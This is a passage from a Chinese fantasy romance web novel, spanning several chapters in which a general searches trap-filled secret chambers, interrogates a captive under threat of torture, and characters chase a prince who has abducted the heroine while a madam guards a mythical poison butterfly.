拓跋泽忽然露出一副贪婪的嘴角,道:“还说以此血为引,可以制得天下最强的毒,亦可解天下至毒,更能创造诸多意想不到的奇迹,几乎无所不能,故亦有‘得此血者得天下’之说。”

听到这里,不知为何,衣上云忽然想起了方才在密室里帮玉娘摸黑饮下的那碗血水,不禁出神地口中重复道“可制得天下最强的毒,亦可解天下至毒,得此血者得天下……”

拓跋泽只顾入迷地在前面边走边叙述,根本没有注意到衣上云若有所思着。

他津津有味地说“还有人说,血族已经在后来的一场族内的倒戈中惨遭灭族;而又有少数人说,血族并没有全族灭亡,其仅存的一位直系后人流落到了灵空大陆的西秦国,并得以繁衍生息,成为西秦皇室的开国功臣以及最忠实的守护者,但是在西秦皇室多年前的一场内乱之中,血族后人惨遭追杀,不慎跌落悬崖致死。”

衣上云闻此,忽然醒过神来道“哦?那血族岂不是就此灭族消失了么?!既然如此,西秦还有什么可畏惧的?”

拓跋泽深叹口气,道“不,虽说表面上看起来如此。但灵空大

陆各国君王都一致认为,血族如此奇特又强大的力量,一定不会就这么轻易便灭族,一定还有后人活着。这才派出各自最强大的力量前来西秦秘密探究。没有十分的把握,谁都不敢出兵举事。这可不是闹着玩儿的,稍有不慎,便是灭国之祸。故多年以来,四国之间,一向都是‘人不犯我,我不犯人。’,其实背后里谁不是蠢蠢欲动着,却都也彼此万分忌惮着,只等有人能早日揭开这个谜底来。”

稍作停顿后,他又继续说道“对了,你知道么?就在半年多前,本皇子听闻西秦城西有座民宅里,大雨滂沱之夜,电闪雷鸣中,夜空里还出现了七彩凤凰虚影。便有人传,是那股力量重生了。只可惜…本皇子还未来得及到城西亲自走一趟,便被那秦王轩辕翰逼得不得不回国重整旗鼓了。”话一说完,拓跋泽将那只空着的拳头紧紧握起,咯咯作响。

衣上云一听,又是轩辕翰,此话一出,俩人都陷入了各自深深的沉思当中……

万娇阁后院的阁楼里。

已到了最后的关键时刻,没有了拓跋泽和那毒蛊师老鸨的阻挠,程良一行人顺利而又紧张地由下而上,一层层,一间间逐个搜索排除着密室及打开密室的机关所在。

不知不觉中,众人又再次来到了这座阁楼中似是最具神秘的茶室里。

众手下都散去一旁的隔间里仔细搜寻,程良则现在门口环视了一下整个茶室内的四周,最后径自走向了那个上面布满琳琅满目各种储茶罐的乌木茶架。

他正对着茶架,一个挨着一个地仔仔细细审视了一遍眼前的每一个储茶罐,忽然开口急呼道“来人,把这个乌木茶架挪开。”

闻声,正在四处搜索着的侍卫一个个都赶忙跑出来,分开到茶架的两边。

正当众人合力准备将茶架搬离原地时,其中一名侍卫忽然看到一个上面印着北方牧草羊草图案的比其他储茶罐都大了几分的一个储茶罐旁边似乎有个什么东西,便走过去瞧了一眼道,顿时惊呼道“将军,快来看。”

程良闻声急急过去朝着侍卫指向望了一眼,怔着眼睛即刻吩咐道“都躲开到一边上。”

侍卫们闻声连忙都聚在边上,一起挨靠着墙,只见程良伸手将那刚被侍卫发现的架子上那个镶嵌着有些像狼面的金属图腾机关,往下轻轻一按。

忽然,众人眼前的乌木茶架边地上,打开来了一道缝隙。

沿着这神秘的缝隙看去,眼前竟出现了一座通往地下的阶梯来,里面还隐隐约约散发着星星点点的烛火之光。

程良看到后丝毫没有迟疑,便拔出腰间的佩剑,沿着阶梯走了下去,侍卫们已都紧紧跟随其后,只留下了两人在上面把守机关。

众人小心

翼翼地一下到地下密室里,借着微弱的烛火之光,正在朝四下里观望探悉着里面的情况,只听“吱呀”一声,密室里整整齐齐并排着的一模一样的貌似六个小房间,其中第二个房间的门自己打了开来。

顿时,只见有无数支利箭带着红红的火苗以迅雷不及掩耳之势从里面“嗖嗖嗖”地直朝着他们射了过来,众人即刻挥起手中长剑,飞快又灵巧地转动剑身,便将箭一一成功地挡下,顿时间,一片

第一百六十章:玉娘终得救

就在所有人都以为程良亦已经化为一堆白骨,伤心难过时,第四扇门竟忽然缓缓被从里面被打了开来。

“程将军……”见到开门走出来的竟是被火烧的一脸焦黑的程良,只见他手里提着长剑,其身后的那间密室里唯只剩下厚厚的一层夜燕尸体,有人惊讶道。

顿时间,所有侍卫们不禁哑口无言地纷纷面面相觑着,片刻后一醒过神来便弯腰合力将程良高高举了起来,并欢呼“程将军…程将军…”

这发自肺腑真心的欢呼声,犹如波涛骇浪般,一声比一声高。

就在众人为程良机智勇敢地立下大功,亦是死里逃生而欢呼雀跃时,第五道门不知不觉间悄悄被人打了开来……

就在众人尚且还都沉浸在一片喜悦之中,程良虽被高高举起着,但还是一眼便看到了眼前这位正想要乘机脱逃的人,从那第五道门里鬼鬼祟祟走出来的身影,正是方才妄想用毒针暗杀兰香的那个神秘人。

程良正是因为追踪此神秘人的行踪,方才再次来到了这万娇阁后院的阁楼里。

想必,他定是受人指使却暗杀失败,怕暴露了自己。但又被程良紧密布置在万娇阁外的侍卫逼得走投无路,才不得已逃到了这万娇阁的密室里。

显然,此人对密室的布局极为熟悉,不但能打开这密室的门,还对里面的机关陷阱了如指掌,否则也不会让他们喝了这险而又险的一壶又一壶了。

可当他被逼进到这密室后,上面茶室里又无人能帮他还原那打开密室门的机关,方才使得程良等人不费吹灰之力便发现了开启密室的机关所在。

思及此,只见程良一迅速抬起手中的长剑,便直朝着那即将踏上阶梯的神秘人,用力地掷了过去,那剑不偏不倚刚好扎在了男子的右后肩上,其右手顿时便失了力。

闻声,众侍卫方才立刻将程良稳稳地放了下来,随即一转身便将那正抱着右肩,疼的嗷嗷直叫的神秘男子包围了起来,同时有人上前将其一把按倒在地,将他的脸紧紧贴在密室冰冷的地面上,又将其双手向后环绕牢牢控制住。

程良这才缓缓踱步过去,将一只男儿的大脚重重地踩在那人的头上,微微弯腰下去眼神凶狠地瞪着那人质问道“还想往哪儿跑?说,拓跋泽人呢?”

“你们是什么人?我又犯了什么王法?什么八啊,九啊的,我不知道你们在说什么?”那神秘人竟极为嚣张的胡言乱语矢口否认道。

程良不禁心中一愣,然跟着却用那只脚使出更大的力气碾了碾神秘人的头颅,接着狠狠道“怎么样,这下可知本将军在说什么了么?”

那人一时间竟痛的顿时失声大叫起来,直哀求道“你杀了我吧,我什么都不知道?”

程良一听到此人那如杀猪般的尖叫声,便已猜出他定是个纸老虎,于是缓缓伸手抚上了方才被自己飞掷出来扎在神秘人后肩上的利剑,哼声道“哼,你以为本将军真的不敢杀你么?”

话音刚落,只听他脚下死死踩着的男子,发出一阵撕心裂肺地尖叫“啊”,便见那把铮亮的长剑不知何时早已从男子的身上重新又回到了程良的手中。

程良将剑举高,放在自己的眼前,聚精会神地注视着剑尖上的血迹,似是极为惋惜地口吻道“啧啧啧...真是可惜啊。如此锋利的宝剑,理应每日里用最新鲜的血液祭奠才好。可如今,本将军竟不知它已有多久没有跟随本将军上战场杀敌寇,品那淋淋鲜血了。想必,它一定已经很饿很饿了,不过今天,本将军打算好好弥补弥补它,让它一次喝个够。”

程良明明将这话说的极为云淡风轻,可那神秘人却用极为扭曲的面孔心惊胆战地看着程良,等到程良刚一把话说完,便朝其惊恐地问“你想做什么?”

程良依旧似是淡淡地说着“本将军想做什么,难道不都是应你所求么?……来人,用本将军的宝剑,将他处以‘千刀万剐’之刑。想死,本将军就成全了你,不过,要你先受得过这刑才成啊。”

“千刀万剐?”神秘人疑惑地惊声道。

旁边的侍卫狡黠地笑着向其解释“所谓‘千刀万剐’之刑,就是将犯人倒挂金钟,悬在空里,然后用锋利无比的刀剑,在其全身上下或割或剐,却是只割肉却不离骨,满千次或万次,直至其断气为止。到最后基本上整个人犹如一朵盛开的红花,面目全非、血肉淋漓、惨不忍睹,那场面,极美。”

“不不不,我不要千刀万剐,我说,我说,我什么都说……”那人一边听着,一边大口地吞咽着口水,似是吓得不轻,终于开口妥协道。

程良这才拿掉了自己踩在那人头脸上的大脚,让其详细交代清楚。

半晌后,程良听着听着,一双浓眉大眼越睁越大,甚感震惊道“你的意思是说,那最后一道门后面并不是一间暗室,而是一条密道,拓跋泽天还没亮的时候便已经通过密道逃走了?”

男子点点头。

程良顿时脑袋一懵,心里道‘又晚了一步’,又着急地接着问“最后一道门开启的机关呢,和其它一样?”

男子摇摇头“密道那道门的开启,是一次性的。它只能被打开一次,以后便再也无法开启了。除非……”

“除非什么?”程良赶忙追问。

“除非将整座万娇阁夷为平地,但极有可能也会影响致整条密道塌陷。”男子沉声着说。

“卑鄙,你们怎么能在我西秦大地上行如此狠毒之事?”程良忿忿道



“这是拓跋泽的亲自设计,他说就算有一天逃不掉,也要拉着西秦的子民来陪葬。”男子解释道。

“可恶,真是可恶,可恶至极,简直就是丧心病狂,那可都是些手无缚鸡之力的平民百姓啊。”程良咬牙切齿地怒着,周围的侍卫亦都一时间怔在原地惊的不得动弹,那男子也止住了声不再言语,似是心里也不怎么愿意拓跋泽这么做。

“拓跋泽是和谁一起逃走的?”片刻后,程良转念问道。

 

第一百六十一章: 才下眉头,却上心头

万娇阁对面的香满楼里,轩辕翰又艰难地熬过了一个无眠之夜。

这一夜里,最是无尽相思愁绪绵绵不绝,才下眉头,却上心头。

他唯有将这一切全都付于那支正被他紧紧攥在手心里的,嵌着两朵桃花的流苏簪子上。

程良刚从万娇阁的暗室里一回到香满楼,片刻都没有停留,只让玉娘换了一套干净的衣裳,便直接带她来见他的主子。

此时,程良站在门口看着他家主子那黯然出神的模样,心里是五味杂陈,无尽的心疼与不忍心。

不知过了多久,他终于吸了口气打起精神来,跨步进去朝着轩辕翰恭敬地行礼,强颜欢笑地神秘道“殿下,你看。”

轩辕翰闻声,方才缓缓抬起那双虽然疲惫但依旧光彩熠熠的浓眉大眼来,向着程良指向的门口看去。

只见久违了的玉娘正迈着细碎的步子,缓缓一走进来便叩首参拜“民妇玉娘参见秦王殿下,殿下千岁千岁千千岁。”

轩辕翰顿时睁大了眼睛起身来,惊道“玉娘,是你…终于找到你了,快起来回话。”

然玉娘却顿显行色匆匆地一起身来便急道“秦王殿下的救命之恩,民妇不甚感激。可是,民妇请求秦王殿下赶快想办法救救衣姑娘。”

轩辕翰闻此,立刻向着程良投去一脸的质问。

这时,程良支支吾吾了半天,终究还是不得不硬着头皮禀了起来“殿下,属下无能,只在万娇阁后院的密室里找到了玉娘,却并未见到衣姑娘人影。”

“什么?”轩辕翰即刻重重地拍了一把面前的案几,瞪大了眼睛起身来大怒道。

没想到这一激动,本就疲惫不堪的他竟身子顿时一个踉跄,忽觉天旋地转了起来。

“殿下!”程良一见主子怒火攻心,便欲想伸手上前将其扶住,却被轩辕翰伸手拦住。随即故作平静地沉声问道“到底怎么回事?”

一旁的玉娘亦是对轩辕翰此举颇为震惊,她自是不知衣上云对轩辕翰意味着什么。

于是,程良和玉娘一起将发生在万娇阁里的一切都仔仔细细地禀告了起来“殿下,情况是这样的……”

听着玉娘和程良所禀告上来的让人匪夷所思的信息,只见轩辕翰眉头紧皱着端坐在案几边,轻抚在案上的一只手慢慢紧握成拳,并发出咯咯作响的声音。

待到俩人禀告完毕,轩辕翰终于了解了所有在万娇阁里发生的一切。

最后,他咬紧了牙根将双拳置在自己的膝盖上,似是在极力隐忍着这位肆意横行的北烈国皇子,在西秦的国土上所犯下的种种令人发指的滔天大罪。

见轩辕翰听完之后一言不发地沉默着,程良又道“属下已经命人在将万娇阁彻底搜查清场了,相信暗藏其內的

所有北烈国敌寇,这次一个都逃不了。方才在从万娇阁回来的路上,属下也已经仔细盘问过那个被捕的专门看守密室的北烈敌寇,他亦不知那条密道的终点最终具体通到了哪里,只知道是一个到达北烈的捷径。说是,当时是抓的我西秦的壮丁挖的这条密道。密道挖好后从来都没有用过,因为那密道是一次性的,开启以后便会即刻永久地关闭起来。当时被抓胁迫其为他们挖密道的我国百姓,密道一挖好,便也都…被杀灭口了。”

俩人看到此时轩辕翰眉头早已丝毫不展地沉默不语着,眼里却似是已聚集了千万支利箭来。

这时,玉娘像是想起了什么,连忙说道“没错,拓跋泽最后孤身来到密室里,是说要带衣姑娘马上启程跟她回北烈的。”

程良一听,急道“属下这就去追,一定不会让那个北烈国皇子奸计得逞……”说完,便回头欲出了门去。

“回来,你要上哪儿去追?拓跋泽诡计多端,绝对不可能走那条众所周知的大道。”轩辕翰这时方才出声将其拦住。

“那该如何是好?”程良心急如焚地道。

谁知,轩辕翰却忽然问他“易三少那边可有消息了?”

程良答“目前还没有。”

稍作思量后,轩辕翰站起身来安排道“拓跋泽,本王是该亲自去会会他了。你去找易三少,速速将他那边的事情处理好。然后来……城南北山脚下与本王汇合。”

“北山脚下,殿下,你……”轩辕翰明显一身疲惫之色,却还要坚持亲自去对付那阴险狡诈的拓跋泽,程良欲言又止,满腹忧心道。

轩辕翰惜字如金,只催促道“快去吧。”

程良自是只能无奈道“那属下去了,殿下一定要多加保重,属下很快便会去与殿下汇合。”话刚说完,便急急退了下去。

这时,轩辕翰方才将目光再次移向落到玉娘的身上,道“婆婆和灵儿一直都在王府里惦记着你,等你回家,本王这就安排人送你回去。”

“谢殿下”话音刚落,玉娘也欲退下去,却似是忽又想起了什么,便回过头来对轩辕翰说道“对了,秦王殿下,衣姑娘被拓跋泽带走的时候,民妇见衣姑娘身上的行装极为朴素简单,便将自己一个随身携带的粉色香囊交给了她。这个香囊里面填充的是南国极为名贵的玫瑰红茶,气味尤为突出,殿下不妨可以沿途注意一下,虽说也是机会渺茫,却总比什么都无迹可寻的要好。”

“玫瑰红茶味的香囊……本王知道了,玉娘有心了。”轩辕翰闻之眼睛顿时一怔,说道。

“秦王殿下不必客气,衣姑娘本就是我们全家的救命恩人。况且这次若不是衣姑娘,民妇怕是真的就没命了。再说了,衣姑娘是为了

救我们,才甘愿牺牲自己跟拓跋泽去北烈国的。如此大恩大德,民妇怕是这辈子都报答不了了。”

第一百六十二章:阵痛

只要翻过了眼前这座山,便可减少一日一夜的路程,长驱直上西北古道,一条由西秦直达北烈的宽阔大道。

此时,西北古道上依旧正值寒风凛冽的隆冬时节,漫天冰雪,一般人很难坚持到底。

衣上云自是第一次来这北山,所以是极为陌生的。

就在她正仔细打量观望着周围陌生的环境的时候,拓跋泽忽然响起一阵响亮的口哨声来,紧接着便闻一阵马儿的长嘶之声。

随即便见有数匹骏马从一旁的林中刨蹄狂奔,昂首阔步,上面驮着清一色统一身着黑衣劲装、墨发半束、腰间佩剑的侍卫朝着俩人奔驰过来。那奔走之声,犹如春雷滚滚一般。

其中的一名侍卫手里还牵着一匹看起来似乎极为名贵的栗色宝马。

那马很快便极为乖巧的停在拓跋泽和衣上云的面前,显然早已被主人驯服。

“这是...这可是传闻中能‘日行千里,夜行八百’的汗血宝马?”衣上云入迷地一上前走近细细打量了一番,方才惊道。拓跋泽看着她一脸难掩的喜悦不禁嘴角一抽,露出了一抹好看的弧度。

忍不住心中的欣喜若狂,衣上云话音刚落,竟缓缓伸出手上去试探着想要亲自抚摸一下这匹传闻中的烈性宝马,不想那马儿竟会如此温顺地乖乖呆在原地,任它随意轻抚。

她真的是太激动了“早就听闻汗血宝马是世上最神秘的马匹,其外表英俊神武、体型优美、头细颈高、四肢修长、皮薄毛细、轻快灵活,具有无穷的持久力和耐力,极适合长距离的骑乘。因其奔跑时脖颈部位流出的汗中有红色物质,鲜红似血而著称。但今日亲自一见,果然是名不虚传。”

就在衣上云眉飞色舞地全心投入好奇地仔细打量着眼前这匹传闻中的神马时,拓跋泽忽然一脸欣喜地翻身跃上马背,并以迅雷不及掩耳之势飞快地伸手一把将衣上云捞起,揽着她的纤纤细腰,将其稳稳的放在了自己的身前,随即便扬鞭策马直向着山间的小路上奔上去。

数名黑衣劲装侍卫默默紧随其后。

谁料就在衣上云毫无防备的被拓跋泽突然拉上汗血宝马的马背,尚还在目瞪口呆时,突然发现自己跟着拓跋泽离开密室,临走的时候,玉娘赠给她的那个绣着蝴蝶与玉兰花的粉色香囊不经意间掉落,刚好挂在了上山的分岔路口边的一株低矮的海棠树上。

那可是临行时候,玉娘对她耳语说可用作跟踪寻回她的物件的啊,这要是丢了,那……

衣上云已来不及继续往下多想了去,那或许将可能是她对在西秦国里所发生的一切,所能留下的唯一念想了。一念至此,她望着那个粉色香囊大声急呼“喂,香囊,我的香囊,停一下,停下来。”

“不就是一个破香囊么,到了我北烈,你想要什么本皇子便给你什么。”拓跋泽一边策马着口中却道。

衣上云一脸错愕和蔑视,目光狠狠道“拓跋泽...你...你把我放下,快放我下来,你这个疯子,你要做什么?”

拓跋泽却问“衣上云,你不是答应本皇子心甘情愿要跟本皇子回北烈么?”

“没错,本姑娘是答应了你跟你去北烈,但是眼下这...这不是一座深山么?”衣上云怯怯的说着,纳闷极了。

深山老林里,他们到底想要对她一个弱女子做什么,不会是……

一念至此,正当众人已行至半山腰上的时候,衣上云忽然紧紧皱起眉头,感觉到一阵强烈的疼痛感,不禁都捂起腹部来,沉声呻吟“哎呦,哎呦……”

拓跋泽原本以为她一定是佯装生病,不知道又有什么鬼主意生了出来,还没彻底打消逃跑的念头,便准备对其视若无睹,不理不睬。

却不想她的沉吟声似乎越来越重,身子亦是越趴越低,都快要附上马背了。再仔细端详下,就连她此时的脸色也顿显出一片吓人的煞白色,貌似还...还冒着冷汗,完全不像是佯装出的一副病态。

不得已,他只得皱着眉头看似极不耐烦地勒马停了下来,疑惑道“你到底怎么了,刚才不是还好好的么?难不成就为了一个破香囊,不至于此吧?!”

衣上云此时看起来确实极不舒服的样子,整个人像是都要散架了,她吃力地说道“我…我...我肚子疼,我想...想...”

拓跋泽看到她这般痛苦的模样,还以为她是想要解手。随即一脸不耐烦却又无可奈何地放开了她,道“好了,不用说了,你去吧,但是不要走太远了,这深山里可是有很多豺狼野兽出没的。”

话一说完,衣上云至今也总算是挣脱了拓跋泽的牢牢禁锢,一下了马便朝着东面的一片小树林深处走了进去。

“你们俩,过去跟着。”拓跋泽警惕地吩咐旁边的两名侍卫道。

“是”两名黑衣劲装侍卫领命后,亦急急下了马来,跟在衣上云的后面一起走了过去。

话说,衣上云这会儿突发的这阵钻心的绞痛感,还真不是佯装出来的。

打从几日前,她一迈出了城西衣府的大门,至今都是饮食起居毫无规律,而她本就患有胃疾。

所以,这会儿只是胃疾突发,疼痛难耐。可她,却是被刚才拓跋泽的那股疯狂和霸道劲,真心吓了一跳。

或许,在她真正决定了跟拓跋泽临走之前,她心里还隐隐约约似乎有什么东西

第一百六十三章:梦醒

西秦南郊,位于北山附近的一处名曰柳树林的地方,地如其名,是个傍河而生以柳树为主的小树林。

旁边的空地上,一名男子正和老鸨相面而立着,表情显得一个比一个气势汹汹。

任谁都看不出来,她们本是已有多年感情的合作伙伴,却为何会走到今天如此这般针锋相对的地步呢?

只见那男子居高临下着,甚是威风凛凛地对那老鸨大喝道“如今,看来你是誓要背叛主子了,对么?”

这名男子正是拓跋泽的近身侍卫,老鸨在万娇阁里,进行炼制冰美人蛊的最后亦是其最关键的一个环节时,恰巧都被他躲在暗处撞见并看在了眼里。

他一见冰美人蛊被老鸨成功炼成之后,便立刻出面来想要抢夺,可那老鸨却想护着自己的孩子一般死都不肯撒手。于是,俩人便动起手来,谁也不肯放弃。

最后,竟然索性都一起冲破了轩辕翰设在万娇阁外面的布防,往外仓惶逃窜了去。

那老鸨自从一硬闯出万娇阁的大门之后,便被侍卫穷追不舍着,一路狂奔。加之身体本就肥胖,怀里又捧着装冰美人蛊的琉璃瓶。一路上尽管是左躲右藏,又使暗器,又撒毒的,却终究还是没能敌过知已知彼的侍卫的全力追击。

看着,她明显应是已经双腿酸软、气喘吁吁、精疲力尽、真的实在是跑不动了。

于是不得不停下脚步来,待稍微喘过气来平缓了点儿下来的时候,方才开口嘴里喃喃自语道“‘多行不义必自毙’,今儿个,我可谓真算得上是作茧自缚,自食其果了。平日里尽想着帮这帮禽兽不如的畜牲,研制了那么多能预防世间百毒的奇药,方使得自己如今陷入这一片黔驴技穷的尴尬局面之中。看来,今天真的是在劫难逃,很难摆脱他们了。幸好,他们心心念念的冰美人蛊,尚还未落入他们的手里。”

话一说完,她低头看了一眼此时正被自己牢牢圈在怀中,以黑布遮掩着的神秘琉璃瓶,随后又似是本能般的将它圈的更紧了些,缓缓抬起头来。

她怎会不知从一开始,那拓跋泽根本就没打算真正地信任她,对她的一举一动都小心监视提防着。

而对于炼制冰美人蛊的用途更是对她不肯泄露半点儿口风,保密甚严。

而如此得来不易的危险玩意儿亦算是世间极为罕见的宝贝,她又岂会心甘情愿如此稀里糊涂地便将自己的心血付于他人。

最终,她还是想到了一个好办法。有道是‘人为财死,鸟为食亡,有钱能使鬼推磨’。通过使银子,她从拓跋泽的近身侍卫的手下那里将他的意图打听地一清二楚。

原来,拓跋泽是想将此毒施在那灵空战神西秦秦王轩辕翰的身上。

听闻那秦王年纪轻

轻,正直血气方刚的大好年华,然世人却道他是个有着严重洁癖的丝毫不近女色的怪人,秦王府里甚至连个女婢都没有。

于是,他们便料定了那秦王绝对没有所挚爱之人。故此毒对秦王来说,即便是大罗神仙下凡也是于事无补解不了的。

只要那秦王身中此冰美人蛊毒,一动七情六欲之念,没有这天下最炙热的挚爱之人的身体取暖,便会当场爆发其至强至毒的寒毒而暴毙。

只要秦王一死,除了天下盛传着的守护西秦的那股神秘力量,便再无所惧。

整个灵空大陆里谁人不知,西秦璟帝无德无能、昏庸无道且又小人得志、心胸狭隘、致使西秦国民众怨声四起。

反倒是那个秦王轩辕翰,战场上,足智多谋,‘一夫当关,万夫莫开’;朝堂上,惩奸扬善,爱民如子,深得民心,实属一国之君的最佳人选,却尤为重情重义,相传似是对璟帝有求必应,颇为敬重。

而今,关于西秦的那股神秘力量,至今都无人知道它到底是什么东西,更别说见一见了。

也许,它真的如同传闻中所说的那样,已经伴随着多年前西秦皇宫里所发生的那场内乱,以血族后人的葬身崖底而不复存在了吧。否则,怎么会这么多年都无半点音讯呢。

也正是因此,她和拓跋泽一样打算着,以为能在西秦万娇阁里等到冰美人蛊炼成的那一日,给那西秦秦王成功施毒亲眼目睹证实他丧命之后,便举兵直驱攻陷夺取西秦皇宫,统治整个西秦。

然后,再整合北烈和西秦的力量,等到北烈开春之后即刻对灵空大陆剩余的南安和东宁两国之中,相对比较弱势的南安国发起进攻。

这样一来,她便很快马上就能跟着拓跋泽的队伍,再次回到阔别已太久的故土——南安;很快就能见到她魂牵梦绕、心心念念、日思夜想的浩儿;当然,她亦能趾高气昂地站在那个曾经陷害自己的贱人和那个南安昏君面前,让他们跪在自己的脚下,痛哭流涕,老泪纵横着对自己俯首认错;到时候,她要鄙视着唾弃他们,为自己一雪前耻;甚至在过去的无数个恨地咬牙切齿的夜晚里,她曾激动地想过,再见到他们时,她绝对不会给他们任何说话辩解的机会,因为当年他们也是这样对她的,她会直接亲手了结了他们的性命;等等

第一百六十四章:贪婪的奢望

侍卫话还未说完,老鸨那极为疯狂的笑声嘎然而止,随即改为厉声地止住了他,道“住嘴,你以为你是谁,你又能决定什么?你也只不过是拓跋泽身边一条摇尾乞怜的狗而已,比我又能好到哪里去。我的今日,便是你的明天。就凭你们,只被那西秦秦王几天时间,便给困死在了万娇阁里。若不是那条密道,拓跋泽亦早就没命了。你们……永远都不可能胜过西秦,永远不能!”

犹如临死前宣布一个预言一般,老鸨将话刚一说完,便用另一手快速地附上,随即一把将那遮盖在神秘琉璃瓶上的黑布扯了下来。

此时,躲在一边树丛后面正目不转睛地监视着眼前所发生的一切的易君浩和几名秦王府侍卫,顿时都不约而同地对黑布下所遮掩着的神秘物体瞪大了眼睛。

易君浩顿时眯起那双迷人的桃花眼来似是惊呆了,最后却只得放低声音道“是冰美人蛊!”

身旁侍卫同时转头朝向他,好奇地问“那是什么东西?看起来很鬼魅,听起来又好像很邪门的样子。”

易君浩稍作思索,道“这个老鸨还真是了得啊,竟连这种天下毒蛊师都敬而远之,天下至毒至邪的冰美人毒蛊都敢养。真是疯狂到不要命了。”

那几名侍卫一听这话,眼睛瞬间瞪的更大,互相面面相觑地看着,其中有人开口问道“易三少,那老鸨手中的似一团火在燃烧着的东西到底是什么,很危险么?”

身旁不断传来极为响亮的水流声,轰轰隆隆,易君浩缓缓道“这就是传说中,在灵空大陆外遥远的北极冰海地带,一种被称做冰美人的神蝶。”

“‘冰美人蝶’?听起来不应该是与冰冷有关么?怎么会是一团火红的火焰的样子呢?难道是‘冰火两重天’之说?”那名发问的侍卫甚是疑惑道,其余他人虽都未做声,却也一脸茫然地痴望着易君浩等待其解释明白。

易君浩吸了口气,道“你们别看冰美人现在美艳地如火似血,经过了冰与火的历练,它现在可是这天下至毒至邪的一只毒蛊了。”

见侍卫们仍然都还是一脸狐疑地看着自己,易君浩便表情有些凝重地道“冰美人乃是天下至寒之物。原本体长一尺有余,伴随着冬天的飘雪破蛹而出,以冰花为食,拥有像水晶一样晶莹剔透的身体和薄薄的翅膀,飞舞时挥动双翅便会撒落点点冰花,冰花落地便能散发出七彩的光辉。但经过一些心术不正,邪恶的顶级毒蛊师的炼制,又有这天下至毒的美人血的滋养,它便立即会变成眼前你们所看到的这样,体长大小看起来只是普通蝴蝶一般,却静如娇艳美人,鲜红胜血惹人怜爱;动若情人泣血般,凄美壮丽令人断肠;重生后则似美人在血与火中沐浴

燃烧般,红火交织成的新生命,成就这天下至毒至美亦至邪的冰美人毒蛊。”

侍卫们这才恍然大悟,却都一个个早已经被这些闻所未闻的词惊呆了。

半晌后,方才发问的侍卫才缓缓回过神来一脸担忧之色,道“那中此毒者又会如何呢,是不是会立刻七孔流血,后尔毙命呢?”

易君浩当即哼笑道“哼…身中此毒者,倒不一定会马上毙命……”

似是话还未说完,易君浩忽然转过头来笑着问那侍卫,道“你心中可有挚爱之人?”

侍卫极难为情地摸了摸脑门,不好意思地傻笑道“没,没有。”

易君浩随即回过头去,微微抬起眉眼,道“心中没有挚爱的人,如此的话,那可就糟糕透了。若是你不小心身中了此毒,便真的是要当场毙命了。但你放心,在你死的时候,绝对比这世上任何一个人都要有尊严,绝不会流下一滴污血。而且,假如你死前已到了风烛残年,这冰美人蛊毒还会让你在刚心脉俱断之后,恢复到你十八岁最美好的青春年华时的模样。”

“啊?那不成了妖怪了。”众人异口同声地惊道。

随后,那名侍卫又一次问“可那又跟有没有心上人有何关联?”

易君浩看了看他,又笑了笑,转过头去看着不远处那老鸨正举在身前的琉璃瓶中,已被练成了一只遍体鲜红胜血正婀娜多姿地翩翩起舞,震动双翅,洒落着粒粒鲜红如泣血的血花的冰美人蛊,入神地说道“冰美人,冰美人,美人虽美,却不是可随意动心的。身中此毒着,万不可动情,否则会激发其体内冰美人蛊毒之天下至寒寒毒,除非以天底下最挚爱的心上人炙热的身体方得以压制,否则便会当场畏寒致死。”

侍卫听后恍然大悟,却又似是仍留有些疑惑,问道“三少方才一直说的是压制?并非解毒啊,究竟如何才能彻底解了此毒呢?”

易君浩闻之瞬间将那双细长温柔的桃花眼快要眯成了一条缝,沉声说道“此毒,无解!”

侍卫一听顿时怔住,一脸诧异地开口道“什么?那便是说,身中此毒者,总有一日,终将毒发身亡了?”

易君浩没有再说话,只是两眼露着极恨的光芒紧紧盯视着老鸨手中的琉璃瓶。

身旁的侍卫们亦都顿时大口地吞咽了一口口水,纷纷有些惊怕了起来,面面相觑了一下很快又一同将目光移向了眼前那俩人的身上。

老鸨手里,那透明的琉璃瓶中,浑身遍体通红,每一条脉络里,闪烁不停着一道道灼眼的红色火光的冰美人,正婀娜多姿地翩翩起舞,震动双翅,洒落着粒粒鲜红如泣血的血花,像是已充满着力量蓄势待发,跃跃欲试着,似是随时都可能会飞出来‘觅食’一般。

老鸨与拓跋泽的近身侍卫仍久久僵持不下着,那近身侍卫对冰美人蛊自是志在必得的。

否则,他便无法跟他的主子交差,他当然知道他的主子对这个冰美人蛊毒是有多重视

第一百六十五章:关于,天上掉馅饼的事儿

只见那老鸨的两只手高高地举着那只装有冰美人蛊的琉璃瓶在身前,时间一分一秒地过去,她的手不禁已有些战战兢兢地摇摇晃晃起来,似是有些支持不住了。

而拓跋泽的侍卫又对其虎视眈眈着,一直紧盯不放。

于是,不得已,老鸨忽然迈步缓缓向后试探着一步一步地退了起来。

正躲在一旁观望着情势发展,并寻找出手机会的易君浩,看到前方突然间似是人影晃动,道旁林中随即窜出七、八个人来,个个都人高马大,身体健硕。他们手持着锋利的长剑,闪闪发亮,刚好阻拦在了老鸨的退路上。

老鸨也似是感觉到了身后有贼人的动静,便陡然停步,转过身去一看,顿时又惊得向着拓跋泽的近身侍卫方向倒退了两步回去。

就这样,来来回回徘徊着,一直被死死地夹在了那分成两队的同为拓跋泽的人马之间,似是已无路可退。

忽然,她将那只琉璃瓶高高举起挡在身前,眼睛朝左后方微微斜了一眼柳树林旁,那条由南向北流向的却看不出其深浅的一汪河水,它正不断地传出来着似是极为湍急响亮的水流声音。

而这条河所流向的北面尽头,不远处那天际一色间,只闻得发出来轰轰隆隆,似如潮水大至般更为湍急的水流巨响来,老鸨猜测着,那里定是有一条大瀑布,底下很可能便是一条峡谷。

确实不错,正如她所料,眼前这片漫长的柳树林生长所倚靠的大河,它所流向的北面天际一色处,正是位于这片地方的东北角上的一条大瀑布的上游。

而这条瀑布滚滚直泻而下所注入的,恰巧正是和衣上云所在的北山东面的那条直立的悬崖下,那万丈深渊底的山谷里的碧水湖。

侍卫一直目不转睛地紧紧盯着老鸨手里的琉璃瓶,丝毫无松懈之意。见冰美人情况危急,侍卫忽然口气稍有些好转,但依旧带着些胁迫味道“我警告你,你最好清醒一点儿,莫要自毁前程。你应该清楚,冰美人对主子有多重要。”

老鸨的脸上明明流着泪,却蔑视地笑着对他说“哼…前程?你认为像我这样的人还有什么前程可言么?我这一生,没有人爱,也没有爱人;老天怜我,却让我拥有了一个孩子,但又永远地失去了他……”

